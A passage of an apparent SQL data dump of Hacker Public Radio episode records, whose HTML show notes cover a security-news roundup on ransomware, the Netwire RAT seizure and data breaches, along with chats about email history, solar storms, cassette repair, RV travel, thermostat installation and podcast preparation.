the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\">What is\na Payload?</a> In the context of a computer virus or worm, the payload\nis the portion of the malware which performs malicious action; deleting\ndata, sending spam or encrypting data. In addition to the payload, such\nmalware also typically has overhead code aimed at simply spreading\nitself, or avoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"Phishing: from Wikipedia, the free encyclopedia.\">What is\nPhishing?</a> Phishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">social\nengineering</a> where attackers deceive people into revealing sensitive\ninformation or installing malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\">What is\nInformation Security (InfoSec)?</a> Information security, sometimes\nshortened to InfoSec, is the practice of protecting information by\nmitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\">information</a> risks.\nIt is part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\">information\nrisk management</a>.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\">What is a\nVulnerability (computing)?</a> Vulnerabilities are flaws in a computer\nsystem that weaken the overall security of the device/system.\nVulnerabilities can be weaknesses in either the hardware itself, or the\nsoftware that runs on the hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\">What is an\n\"Attack Surface\"?</a> The attack surface of a software environment is\nthe sum of the different points (for \"attack vectors\") where an\nunauthorized user (the \"attacker\") can try to enter data to or extract\ndata from an environment. Keeping the attack surface as small as\npossible is a basic security measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\">What is an\n\"Attack Vector\"?</a> In computer security, an attack vector is a\nspecific path, method, or scenario that can be exploited to break into\nan IT system, thus compromising its security. The term was derived from\nthe corresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Oh No, News, Threat analysis, InfoSec, User space',0,0,1),
(3831,'2023-04-10','Introducing Bumble Bee.',2541,'Some Guy On the Internet chats with a friend, Bumble Bee.','<ul>\n<li><strong>Article:</strong> <a href=\"https://7daystodie.com/\"\ntitle=\"title currently in alpha stage development\">The \"7 days to die\"\nwebsite.</a>\n<ul>\n<li><strong>Author:</strong> The Fun Pimps. (N/A).</li>\n<li>An open-world game that is a unique combination of first-person\nshooter, survival horror, tower defense, and role-playing games. Play\nthe definitive zombie survival sandbox RPG that came first.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://store.steampowered.com/app/251570/7_Days_to_Die/\"\ntitle=\"Early Access Game\">The Steam page for \"7 days to die\".</a>\n<ul>\n<li><strong>Author:</strong> Steampowered.com. (N/A).</li>\n<li>Note: This Early Access game is not complete and may or may not\nchange further. If you are not excited to play this game in its current\nstate, then you should wait to see if the game progresses further in\ndevelopment.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://cricut.com/en-us/cutting-machines/cricut-maker/cricut-maker-3/cricut-maker-3/2008334.html\"\ntitle=\"Cricut Maker 3\">Cricut Maker 3 product page.</a>\n<ul>\n<li><strong>Author:</strong> Cricut shop. (N/A).</li>\n<li>Make more than you ever dreamed possible with Cricut Maker 3, the\nultimate smart cutting machine.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.minecraft.net/en-us\">Welcome to the official site of\nMinecraft.</a>\n<ul>\n<li><strong>Author:</strong> Mojang. (N/A).</li>\n<li>A game about placing blocks and going on adventures.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Port_forwarding\"\ntitle=\"Port forwarding allows remote computers to connect to a specific computer or service within a private local-area network.\">What\nis \"Port Forwarding\"?</a>\n<ul>\n<li><strong>Author:</strong> Wikipedia. (N/A).</li>\n<li>In computer networking, port forwarding or port mapping is an\napplication of network address translation (NAT) that redirects a\ncommunication request from one address and port number combination to\nanother while the packets are traversing a network gateway, such as a\nrouter or firewall. This technique is most commonly used to make\nservices on a host residing on a protected or masqueraded (internal)\nnetwork available to hosts on the opposite side of the gateway (external\nnetwork), by remapping the destination IP address and port number of the\ncommunication to an internal host.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','7 days to die, Cricut, Minecraft, Software',0,0,1),
(3829,'2023-04-06','The Edinburgh cohort of HPR hosts stops Mumbling!',3296,'Dave Morriss and MrX talk about various technical topics','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave\nMorriss</a></li>\n</ul>\n<p>We recorded this on Saturday March 11<sup>th</sup> 2023. This time we\nmet in person, first at a pub called <em>The Steading</em> close to the\nentrance to the <a\nhref=\"https://www.midlothian.gov.uk/info/200281/snowsports_centre\"><em>Midlothian\nSnowsports Centre</em></a> where we had something to eat and drink -\nthough they only serve breakfast items before 12 noon. Then we adjourned\nto Daves Citroen car (<em>Studio C</em>) in the car park and recorded a\nchat.</p>\n<p>The last of these chats was over Mumble in September 2022, so it was\ngreat to be away from home and to meet in person again after a long time\nof COVID avoidance.</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Google Docs - Dave and MrX use this to build shared notes to help\norganise these sessions\n<ul>\n<li>There are issues with cut and paste when using Firefox it doesnt\nwork!\n<ul>\n<li>It can be fixed by selecting <code>about:config</code> in a new\ntab.</li>\n<li>Change the attribute <code>dom.event.clipboardevents.enabled</code>\nto <code>true</code>.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Is email still relevant in 2023?\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Google_Wave\">Google Wave</a>\n- Googles possible email replacement seemed not to have lasted very\nlong</li>\n<li>Alternative access to Gmail using the IMAP protocol</li>\n<li>Folders versus labels. <a\nhref=\"https://www.youtube.com/watch?v=jPhJbKBuNnA\">Tom Scotts video “I\ntried using AI. It scared me.”</a></li>\n<li>Daves experiences with email:\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Digital_Equipment_Corporation\">Digital\nEquipment Corporations</a> Vax VMS used DECmail, which needed <a\nhref=\"https://en.wikipedia.org/wiki/DECnet\">DECNet</a> networking.</li>\n<li>The UK Academic network (<a\nhref=\"https://en.wikipedia.org/wiki/JANET\">JANET</a>) initially used its\nown <a\nhref=\"https://en.wikipedia.org/wiki/Coloured_Book_protocols\">Coloured\nBook protocols</a>, including Grey Book mail. This ran over an X.25\nnetwork.</li>\n<li>Gradual transition to TCP/IP and SMTP mail (over JANET Internet\nProtocol Service, “JIPS”).</li>\n<li>In early Unix days (Ultrix) there was <a\nhref=\"https://en.wikipedia.org/wiki/MH_Message_Handling_System\"><code>MH</code>\n(Message Handler)</a></li>\n<li>Later, this was replaced by <a\nhref=\"https://www.nongnu.org/nmh/\"><code>nmh</code></a>.</li>\n<li>A GUI interface was available called <code>xmh</code></li>\n<li>A very flexible open-source front end called <code>exmh</code> was\ncrafted using Tcl/Tk</li>\n<li>Using <a\nhref=\"https://en.wikipedia.org/wiki/Procmail\"><code>procmail</code></a>\nallowed an enormous number of capabilities, like sophisticated\nfiltering, spam detection and automatic replies.</li>\n<li>Now using <a href=\"https://www.thunderbird.net/\">Thunderbird</a>,\nand has been for maybe 15 years.</li>\n</ul></li>\n<li>MrX used Eudora in the past, but mostly uses Outlook now.</li>\n<li>Both agree that many useful features of email, available in the\npast, have gone. Both of us still find email relevant however!</li>\n</ul></li>\n</ul>\n<ul>\n<li>Calendars:\n<ul>\n<li>MrX misses the calendar on the Psion Organiser</li>\n<li>Dave used to use an X-Windows tool called <code>ical</code> on\nUltrix (no relation to the later <code>iCalendar</code> standard). Moved\nto Thunderbird and its calendar called <code>Lightning</code>.</li>\n<li>Both have used the Google Calendar, Dave uses a Thunderbird add-on\nto share family calendars</li>\n</ul></li>\n</ul>\n<ul>\n<li>Lifetime of storage media:\n<ul>\n<li>SD cards can last a fairly long time, but getting the right type is\nimportant. Using older-style cards in new projects might turn out to be\na false economy.</li>\n<li>Hard disks can last a long time if the right sort is used. One thing\nthat shortens their life is getting them hot.</li>\n<li>MrX has used Western Digital Passport hard drives for some time, and\nthey have been very reliable none have failed.</li>\n<li>There are different drives from Western Digital which have different\nperformances and they are colour coded. See the <a\nhref=\"https://www.westerndigital.com/en-gb/solutions/color-drives\">Western\nDigital</a> website for details.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Complexity and single points of failure:\n<ul>\n<li>Chip shortages and lack of resilience:\n<ul>\n<li>Modern components that do a single job used to consist of multiple\ndiscrete components that could be replaced individually. Now, if a\ncomponent fails it has to be replaced in its entirety, and because of\nthe shortage of chips it uses it may be unavailable.</li>\n<li>Older devices and components may still use older less specialised\nparts and so can be repaired.</li>\n<li>Unnecessary reliance on GPS in devices, cloud services in <em>Smart\nHome</em> equipment, etc.</li>\n<li>For example, managing enormous warehouses requires a lot of services\nthat may not be too resilient, and could fail catastrophically.</li>\n</ul></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Coronal_mass_ejection\">Coronal Mass\nEjection (CME)</a>:\n<ul>\n<li>Such an event could destroy many satellites (such as those providing\nGPS). It could also cause a massive overload of the power grid.\nTransformers used in the grid can be damaged or destroyed and <a\nhref=\"https://www.tdworld.com/substations/article/21258955/no-easy-answers-transformer-supply-crisis-deepens\">replacing\nthem in a timely fashion can be difficult</a>.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Carrington_Event\">Carrington\nevent</a> in September 1859 telegraph machines reportedly shocked\noperators and caused small fires.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/March_1989_geomagnetic_storm\">March\n1989 CME</a> caused a power outage in Quebec, Canada.</li>\n<li>Recent YouTube video from Anton Petrov: <a\nhref=\"https://www.youtube.com/watch?v=mJCytV7PUzk\"><em>Wow! Sun Just\nProduced a Carrington Like Event, But We Got Super Lucky</em></a></li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Keeping systems up to date:\n<ul>\n<li>MrX has had problems getting various RPis updated and running.</li>\n<li>Dave has had similar problems making the jump from Raspbian to\nRaspberry Pi OS.</li>\n<li>In some cases the operating system on the Pis have needed to be\ncompletely reinstalled, and the work in installing and reconfiguring\nsoftware has proved to be too much!</li>\n<li>MrXs <a\nhref=\"https://www.piface.org.uk/products/piface_control_and_display/\">PiFace\nControl and Display board</a> is giving problems, as is the simpler <a\nhref=\"https://www.piface.org.uk/products/piface_digital/\">PiFace\nDigital</a>. It looks as if the company has gone out of business\nunfortunately.</li>\n<li>Dave has a <a\nhref=\"https://shop.pimoroni.com/products/pico-rgb-keypad-base\">Pico RGB\nBase from Pimoroni</a>, a 14-key board with RGB LEDs which could be used\nas a way of controlling things.</li>\n<li>Daves <a\nhref=\"https://hackerpublicradio.org/eps.php?id=3039\"><em>Magic\nMirror</em></a> system (a Pi 3A+ attached to a monitor) failed because\nthe Pi needed to be upgraded and then the <code>Node.js</code> code\ndidnt seem to be maintained any more! Needs work!!</li>\n<li>MrXs desktop PC is small and quiet, but since its in a cold room,\ntends not to get used too much in the winter! Daves PC is in an\nextension (addition) to the house and tends to get used quite a lot, but\nin cold winter weather, less so.</li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube list:\n<ul>\n<li>We were going to mention a few YouTube channels wed watched lately,\nbut felt wed already talked long enough!</li>\n<li>Rather than just adding the list to the notes, as we discussed, we\nwill leave this section to the next time we make a recording such as\nthis.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Completing HPR shows:\n<ul>\n<li>MrX has a show he has recorded but is held up preparing notes to go\nwith it.</li>\n<li>Dave tends to write draft notes first, then build the recording\naround them, but this approach isnt necessarily faster!</li>\n</ul></li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Google:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Google_Wave\">Google\nWave</a></li>\n<li><a href=\"https://support.google.com/mail/answer/7126229\">Accessing\nGmail with IMAP</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Early mail tools:\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/MH_Message_Handling_System\">MH\nMessage Handling System</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/MH_%26_xmh:_Email_for_Users_%26_Programmers\"><em>MH\n&amp; xmh: Email for Users &amp; Programmers</em>, Jerry Peek,\n1996</a></li>\n<li><a href=\"https://www.nongnu.org/nmh/\">nmh - Message Handling\nSystem</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Procmail\"><code>procmail</code> mail\nfilter</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Solar storms / Coronal Mass Ejections:\n<ul>\n<li>Wikipedia article on <a\nhref=\"https://en.wikipedia.org/wiki/Coronal_mass_ejection\">Coronal Mass\nEjections (CME)</a>.</li>\n<li>Wikipedia article on the <a\nhref=\"https://en.wikipedia.org/wiki/Carrington_Event\">Carrington\nevent</a> in September 1859.</li>\n<li>Wikipedia article on the <a\nhref=\"https://en.wikipedia.org/wiki/March_1989_geomagnetic_storm\">March\n1989 CME</a>.</li>\n<li><a href=\"\">List of solar storms</a></li>\n<li><a\nhref=\"https://www.tdworld.com/substations/article/21258955/no-easy-answers-transformer-supply-crisis-deepens\">Transformer\nshortage in the USA</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','Edinburgh,meeting',0,0,1),
(3835,'2023-04-14','Retro Karaoke machine Part 2',954,'Archer72 fixes misplaced belts and figures out what really happened','<ul>\n<li><p>The tape stops in the middle</p></li>\n<li><p>Put pressure here</p></li>\n</ul>\n<p><a\nhref=\"http://hackerpublicradio.org/eps/hpr3835/IMG_Pressure_here_tn.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3835/IMG_Pressure_here_tn_thumbnail.jpg\"\ntitle=\"Put Pressure on the right side to seat cassette tape\"\nalt=\"Put Pressure here to seat cassette tape\" /></a></p>\n<p><a\nhref=\"http://hackerpublicradio.org/eps/hpr3835/IMG_Vector-Prime-Audio-Drama_tn.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3835/IMG_Vector-Prime-Audio-Drama_tn_thumbnail.jpg\"\ntitle=\"Cassette tape and sleeve of Star Wars: Vector Prime Audio Drama\"\nalt=\"Cassette tape and sleeve of Star Wars: Vector Prime Audio Drama\" /></a></p>\n<p>Video clip of Star Wars audio drama playing <a\nhref=\"https://archive.org/details/vector-prime-audiobook-video-clip-on-karaoke_2023-03-25\"\ntitle=\"Video clip of Star Wars audio drama playing on Archive.org\">Video\nclip on Archive.org</a></p>\n',318,0,0,'CC-BY-SA','retro, karaoke, cassette tape',0,0,1),
(3960,'2023-10-06','On The Road At Last',1042,'Preparations are done, and we start out on the road.','<p>We finally got all of the preparations and maintenance done, and it\nwas time to hit the road. Once again, we left a bit later than planned,\nbut life is like that.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAviSX\"\nclass=\"uri\">https://flic.kr/s/aHBqjAviSX</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAveYi\"\nclass=\"uri\">https://flic.kr/s/aHBqjAveYi</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/on-the-road-at-last/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/on-the-road-at-last/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, maintenance',0,0,1),
(4111,'2024-05-06','HPR Community News for April 2024',0,'HPR Volunteers talk about shows released and comments posted in April 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3841,'2023-04-24','The Oh No! News.',1268,'Sgoti and Bumble bee discusses U.S. Marshals Service Ransomware attack and more.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<hr />\n<ul>\n<li><strong>Threat analysis; your attack surface.</strong></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.pcmag.com/news/us-marshals-service-computer-system-hit-by-ransomware-attack?utm_source=feedotter&amp;utm_medium=email&amp;utm_campaign=FO-02-28-2023&amp;utm_content=httpswwwpcmagcomnewsusmarshalsservicecomputersystemhitbyransomwareattack\">US\nMarshals Service Computer System Hit by Ransomware Attack.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.pcmag.com/authors/michael-kan\">Michael Kan</a>. (2023,\nFeb 28).</li>\n<li>The agency uncovered the intrusion on Feb. 17 2023, when it\ndiscovered &#x201C;a ransomware and data exfiltration event affecting a\nstandalone USMS system.&#x201D; That means the hackers stole information from\nthe computer while planting malicious code capable of encrypting the\ndata inside.</li>\n<li>&#x201C;The affected system contains law enforcement sensitive information,\nincluding returns from legal process, administrative information, and\npersonally identifiable information pertaining to subjects of USMS\ninvestigations, third parties, and certain USMS employees,&#x201D; the agency\nsays.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.pcmag.com/news/us-shuts-down-netwire-malware-that-posed-as-legit-remote-admin-tool?utm_source=feedotter&amp;utm_medium=email&amp;utm_campaign=FO-03-14-2023&amp;utm_content=httpswwwpcmagcomnewsusshutsdownnetwiremalwarethatposedaslegitremoteadmintool\">US\nShuts Down \'Netwire\' Malware That Posed as Legit Remote Admin Tool.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.pcmag.com/authors/michael-kan\">Michael Kan</a>. (2023,\nMar 10).</li>\n<li>Worldwiredlabs.com has been around since at least 2012(Opens in a\nnew window), offering a software product called &#x201C;Netwire,&#x201D; which is\nsupposedly designed to help IT support staff manage computers remotely.\nBefore the site was seized, it was offering Netwire for $10 per month or\n$60 per year. However, US investigators say the site was a front to sell\nthe software as a hacking tool to cybercriminals.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.justice.gov/usao-cdca/pr/federal-authorities-seize-internet-domain-selling-malware-used-illegally-control-and\">Federal\nAuthorities Seize Internet Domain Selling Malware Used to Illegally\nControl and Steal Data from Victims&#x2019; Computers.</a>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Central District of\nCalifornia. (2023, Mar 9).</li>\n<li>A seizure warrant approved by a United States Magistrate Judge on\nMarch 3 and executed on Tuesday led to the seizure of\nwww.worldwiredlabs.com, which offered the NetWire remote access trojan\n(RAT), a sophisticated program capable of targeting and infecting every\nmajor computer operating system. &#x201C;A RAT is a type of malware that allows\nfor covert surveillance, allowing a &#x2018;backdoor&#x2019; for administrative\ncontrol and unfettered and unauthorized remote access to a victim&#x2019;s\ncomputer, without the victim&#x2019;s knowledge or permission,&#x201D; according to\ncourt documents filed in Los Angeles.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.cnn.com/2023/03/24/politics/fbi-breach-forums-conor-fitzpatrick/index.html\">FBI\ntakes down cybercrime forum that touted data connected to breach\naffecting US lawmakers.</a>\n<ul>\n<li><strong>Author:</strong> Sean Lyngaas. (2023, Mar 24).</li>\n<li>The FBI has arrested the alleged founder of a popular cybercriminal\nforum that touted data stolen in a hack affecting members of Congress\nand thousands of other people and taken the website down, the Justice\nDepartment said Friday.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.pcmag.com/news/data-breach-at-dc-health-insurance-exchange-ensnares-us-lawmakers\">Data\nBreach at DC Health Insurance Exchange Ensnares US Lawmakers.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.pcmag.com/authors/michael-kan\">Michael Kan</a>. (2023,\nMar 9).</li>\n<li>A data breach at a health insurance exchange in Washington, D.C. has\nled a hacker to steal the personal information of US lawmakers and their\nstaff.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.prnewswire.com/news-releases/independent-living-systems-provides-notice-of-data-event-301771989.html\">Independent\nLiving Systems Provides Notice of Data Event.</a>\n<ul>\n<li><strong>Author:</strong> Independent Living Systems, LLC. (2023, Mar\n14).</li>\n<li>The types of impacted information varies by individual and could\nhave included: name, address, date of birth, driver\'s license, state\nidentification, Social Security number, financial account information,\nmedical record number, Medicare or Medicaid identification, CIN#, mental\nor physical treatment/condition information, food delivery information,\ndiagnosis code or diagnosis information, admission/discharge date,\nprescription information, billing/claims information, patient name, and\nhealth insurance information.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://apps.web.maine.gov/online/aeviewer/ME/40/aacdb720-e082-4ef6-b7e6-f03280b2c4ec.shtml\">Data\nBreach Notifications.</a>\n<ul>\n<li><strong>Author:</strong> Maine Attorney General. (2023, Mar\n14).</li>\n<li>Total number of persons affected (including residents):\n4,226,508</li>\n<li>Total number of Maine residents affected: 238</li>\n<li>If the number of Maine residents exceeds 1,000, have the consumer\nreporting agencies been notified:</li>\n<li>Date(s) Breach Occurred: 06/03/2022</li>\n<li>Date Breach Discovered: 01/17/2023</li>\n<li>Description of the Breach:</li>\n<li>External system breach (hacking)</li>\n<li>Information Acquired - Name or other personal identifier in\ncombination with: Social Security Number</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/alleged-breachforums-owner-pompompurin-arrested-on-cybercrime-charges/\">Alleged\nBreachForums owner Pompompurin arrested on cybercrime charges.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/sergiu-gatlan/\"\ntitle=\"Sergiu Gatlan has covered cybersecurity, technology, and other news beats for more than a decade.\">Sergiu\nGatlan</a>. (2023, Mar 17).</li>\n<li>U.S. law enforcement arrested on Wednesday a New York man believed\nto be Pompompurin, the owner of the BreachForums hacking forum.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.cnn.com/2023/03/24/politics/fbi-breach-forums-conor-fitzpatrick/index.html\">FBI\ntakes down cybercrime forum that touted data connected to breach\naffecting US lawmakers.</a>\n<ul>\n<li><strong>Author:</strong> Sean Lyngaas. (2023, Mar 24).</li>\n<li>The FBI has arrested the alleged founder of a popular cybercriminal\nforum that touted data stolen in a hack affecting members of Congress\nand thousands of other people and taken the website down, the Justice\nDepartment said Friday.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>User space.</strong></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.forbes.com/sites/emilymason/2022/10/27/after-paypal-revokes-controversial-misinformation-policy-major-concerns-remain-over-2500-fine/?sh=7394309330c4\">After\nPayPal Revokes Controversial Misinformation Policy, Major Concerns\nRemain Over $2,500 Fine.</a>.\n<ul>\n<li><strong>Author:</strong> Emily Mason (2022, Oct 22).</li>\n<li>After facing backlash earlier this month, PayPal PYPL -1.5%\nrescinded a line in its policy stating that spreading misinformation on\nthe platform would be subject to a $2,500 fine. Today, the remaining\nlanguage leaves users and elected officials demanding more clarity over\nhow the platform defines fine-worthy speech.</li>\n</ul></li>\n<li>Bumble Bee\'s first experience of the HPR website.</li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"Data Breach: from Wikipedia, the free encyclopedia.\">What is a\nData Breach?</a> A data breach is a security violation, in which\nsensitive, protected or confidential data is copied, transmitted,\nviewed, stolen, altered or used by an individual unauthorized to do\nso.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"Malware: from Wikipedia, the free encyclopedia.\">What is\nMalware?</a> Malware (a <a\nhref=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"Multiple words are combined into a new word.\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\">What is\na Payload?</a> In the context of a computer virus or worm, the payload\nis the portion of the malware which performs malicious action; deleting\ndata, sending spam or encrypting data. In addition to the payload, such\nmalware also typically has overhead code aimed at simply spreading\nitself, or avoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"Phishing: from Wikipedia, the free encyclopedia.\">What is\nPhishing?</a> Phishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">social\nengineering</a> where attackers deceive people into revealing sensitive\ninformation or installing malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\">What is\nInformation Security (InfoSec)?</a> Information security, sometimes\nshortened to InfoSec, is the practice of protecting information by\nmitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\">information</a> risks.\nIt is part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\">information\nrisk management</a>.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\">What is a\nVulnerability (computing)?</a> Vulnerabilities are flaws in a computer\nsystem that weaken the overall security of the device/system.\nVulnerabilities can be weaknesses in either the hardware itself, or the\nsoftware that runs on the hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\">What is an\n\"Attack Surface\"?</a> The attack surface of a software environment is\nthe sum of the different points (for \"attack vectors\") where an\nunauthorized user (the \"attacker\") can try to enter data to or extract\ndata from an environment. Keeping the attack surface as small as\npossible is a basic security measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\">What is an\n\"Attack Vector\"?</a> In computer security, an attack vector is a\nspecific path, method, or scenario that can be exploited to break into\nan IT system, thus compromising its security. The term was derived from\nthe corresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','US Marshals Service Ransomware, Netwire Malware, US Lawmakers Data Breach, Independent Living System',0,0,1),
(3880,'2023-06-16','Installing a Google Nest Thermostat',791,'I installed a new smart thermostat','<p>Our old thermostat was breaking down to the point that we could not\nchange the temperature, so it was time for a change. And since smart\nthermostats have gotten pretty good I decided that I wanted to install\none and take more control of my environment.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.consumerreports.org/smart-thermostats/google-nest-thermostat-review-a9480620820/\"\nclass=\"uri\">https://www.consumerreports.org/smart-thermostats/google-nest-thermostat-review-a9480620820/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=dHKD-9uI24I\"\nclass=\"uri\">https://www.youtube.com/watch?v=dHKD-9uI24I</a></li>\n<li><a href=\"https://www.electronicshub.org/thermostat-wire-colors/\"\nclass=\"uri\">https://www.electronicshub.org/thermostat-wire-colors/</a></li>\n<li><a\nhref=\"https://support.google.com/googlenest/answer/9452748?hl=en#zippy=%2Ccommon-thermostat-wires\"\nclass=\"uri\">https://support.google.com/googlenest/answer/9452748?hl=en#zippy=%2Ccommon-thermostat-wires</a></li>\n<li><a\nhref=\"https://www.palain.com/miscellaneous-technical-notes/installing-a-google-nest-thermostat/\"\nclass=\"uri\">https://www.palain.com/miscellaneous-technical-notes/installing-a-google-nest-thermostat/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Thermostat, Google Nest, installation',0,0,1),
(3890,'2023-06-30','Lessons Learned',793,'What we learned from this experience that will make the next one better.','<p>This trip started with a difficult week with things breaking and\nmistakes being made. But in the end we had a really good time and want\nto do another trip. But we have learned a few lessons, and we\'ll pass\nthem along to benefit anyone else who might want to do something\nsimilar.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/lessons-learned/\"\nclass=\"uri\">https://www.palain.com/travel/lessons-learned/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Lessons Learned',0,0,1),
(3900,'2023-07-14','Preparing Podcasts for Listening',704,'I prepare my podcast files for listening in Audacity.','<p>Because I use very small and simple MP3 players, I have to do\npre-processing of my podcast files, and I use Audacity for that purpose.\nI explain exactly how I do this in case it helps someone else.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=1479\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=1479</a></li>\n<li><a href=\"https://gpodder.net/\"\nclass=\"uri\">https://gpodder.net/</a></li>\n<li><a href=\"https://www.audacityteam.org/download/\"\nclass=\"uri\">https://www.audacityteam.org/download/</a></li>\n<li><a\nhref=\"https://www.palain.com/miscellaneous-technical-notes/preparing-podcasts-for-listening/\"\nclass=\"uri\">https://www.palain.com/miscellaneous-technical-notes/preparing-podcasts-for-listening/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Podcasts, Audacity, file preparation',0,0,1),
